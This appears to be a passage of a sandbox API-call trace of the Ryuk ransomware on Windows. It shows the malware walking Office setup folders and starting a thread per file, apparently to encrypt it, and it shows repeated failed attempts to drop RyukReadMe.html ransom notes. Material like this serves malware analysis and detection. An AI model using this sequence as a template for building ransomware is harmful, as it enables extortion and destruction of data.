	[0132.049] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0132.049] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0xbe, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1
	[0132.049] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0132.051] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.051] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0132.052] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac
	[0132.054] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.220] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0132.220] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0132.221] SetLastError (dwErrCode=0x0) 
	[0132.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.221] GetLastError () returned 0x5
	[0132.221] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0132.221] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.221] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1
	[0132.221] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1
	[0132.221] SetLastError (dwErrCode=0x0) 
	[0132.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.222] GetLastError () returned 0x5
	[0132.222] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0132.222] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0132.718] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0132.719] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0xbe, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1
	[0132.719] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xbe, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1
	[0132.719] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320
	[0132.762] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.763] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1
	[0132.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
	[0132.765] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.765] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0132.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0132.768] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.769] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0132.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0132.773] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.774] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1
	[0132.774] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0xbe, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1
	[0132.774] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1
	[0132.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0132.777] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.777] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1
	[0132.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0132.780] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.781] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1
	[0132.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0132.785] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.785] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1
	[0132.785] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0132.789] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.790] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0132.790] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0133.050] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.053] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0133.054] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0133.791] SetLastError (dwErrCode=0x0) 
	[0133.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.802] GetLastError () returned 0x5
	[0133.802] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0133.803] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.803] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1
	[0133.803] SetLastError (dwErrCode=0x0) 
	[0133.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.803] GetLastError () returned 0x5
	[0133.803] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0133.803] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0133.959] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.959] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0133.959] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0133.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
	[0133.962] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.963] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0133.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0133.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0133.966] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.966] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0133.967] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0133.967] SetLastError (dwErrCode=0x0) 
	[0133.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.967] GetLastError () returned 0x5
	[0133.967] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0133.967] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.967] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1
	[0133.968] SetLastError (dwErrCode=0x0) 
	[0133.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.968] GetLastError () returned 0x5
	[0133.968] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0133.968] CloseHandle (hObject=0xffffffffffffffff) returned 0
